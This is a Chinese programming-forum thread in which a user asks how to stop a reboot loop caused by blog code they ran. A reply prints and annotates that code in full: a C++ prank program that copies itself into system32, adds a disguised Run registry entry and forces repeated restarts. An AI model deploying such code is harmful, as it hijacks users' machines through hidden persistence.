注册表的修改

liujiwei2007 2006-12-24 10:06:56
我在下面的网站
http://www.ediwon.com/blog/article.asp?id=21
拷贝了代码
就好奇的在VC下面运行了一下
我知道机器会重起
但是不知道是每次开机都重起
这里的朋友有没有知道怎么修改
可以恢复正常的状态
我在这里先谢过了
...全文
251 7 打赏 收藏 转发到动态 举报
写回复
用AI写文章
7 条回复
切换为时间正序
请发表友善的回复…
发表回复
hengjiweiye777 2007-04-13
  • 打赏
  • 举报
回复
JF
argenCHN 2006-12-25
  • 打赏
  • 举报
回复
alxen 2006-12-25
  • 打赏
  • 举报
回复
看了下,原文如下。
小弟水平有限,简单分析下源代码。
-----------------------------
xp循环重启[原创]
作者:ediwon 日期:2006-08-13

#include <iostream>
#include <cstdlib>
#include <string>
#include <fstream>

using namespace std;

const int justNumbers = 3; //times.重启的次数,这里如果换成100甚至1000,不敢想象......

int main(int argc,char *argv[])
{
char dos_copy[150]="copy ";
strcat(dos_copy,"\"");
strcat(dos_copy,argv[0]);
strcat(dos_copy,"\"");
strcat(dos_copy," \"c:\\WINDOWS\\system32\\zv.exe\"");//把程序自身放在系统文件夹
system(dos_copy);

fstream outfiles;
outfiles.open("C:\\WINDOWS\\system32\\zshut.reg",ios::out);//在系统文件夹下生成注册表文件,以实现自启动
if (!outfiles)
{
cout << "失败!"<< endl;
abort();
}
outfiles << "Windows Registry Editor Version 5.00" << endl;
outfiles << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]" <<endl;
outfiles << "\"windows updata exp1ore\"=\"C:\\\\WINDOWS\\\\system32\\\\zv.exe\"";//在开机自启动位置写入程序自身,这一步还是写注册表文件,不是直接操作注册表的
outfiles.close();
system("regedit/s C:\\WINDOWS\\system32\\zshut.reg");//打开注册表文件,把程序的自启动信息导入注册表

fstream infiles;
infiles.open("zzz.txt",ios::in);//这个文件是保存你的机子重启的次数的
if (!infiles)
{
fstream outfiles;
outfiles.open("zzz.txt",ios::out);
if (!outfiles)
{
cout << "失败!" << endl;
abort();
}
int i = 1;
outfiles << i;
outfiles.close();
}
int number = 0;
infiles >> number;
number += 1;
fstream outfilelast;
outfilelast.open("zzz.txt",ios::out);
if (!outfilelast)
{
cout << "失败!" << endl;
abort();
}
outfilelast << number;
outfilelast.close();
if (number <= justNumbers )
{
for (int i = 0; i < 10; i++)
{
cout << "模拟病毒程序,您将自动从启" << justNumbers <<"次,本程序自动删除!" <<endl;
cout << "这是您几 " <<number<< " 次重启." << endl;
}
system("shutdown /r");
}
else
{
system("del c:\\WINDOWS\\system32\\zv.exe");//重启完毕(3次)后删除自身。还算有点什么,呵呵。不过作者忘记了把人家的注册表再改过了。呵呵。
cout << "好了,您的电脑" << justNumbers <<" 次从启完闭,不好意思.打扰了!" <<endl; //这位老兄像是南方人,重启写从启。。
}
system("pause");
return 0;
}
----------------------------
这个程序算不上病毒,作者也没有什么恶意。只是一个恶作剧而已,作者只让别人的机子重启3次。然后就ok了。程序会删除自身的。但是作者忘记了把程序写入注册表的开机自启动信息删除。不过看代码就知道了,中招的朋友完全可以自己搞定。

就到这里了,小弟水平有限,不足之处请各位多多指教。
amdk_7 2006-12-24
  • 打赏
  • 举报
回复
JFJF
kookworm 2006-12-24
  • 打赏
  • 举报
回复
解决了,那就直接接分了
大熊猫侯佩 2006-12-24
  • 打赏
  • 举报
回复
修改了注册表中的哪里?
liujiwei2007 2006-12-24
  • 打赏
  • 举报
回复
以解决!

69,371

社区成员

发帖
与我相关
我的任务
社区描述
C语言相关问题讨论
社区管理员
  • C语言
  • 花神庙码农
  • 架构师李肯
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧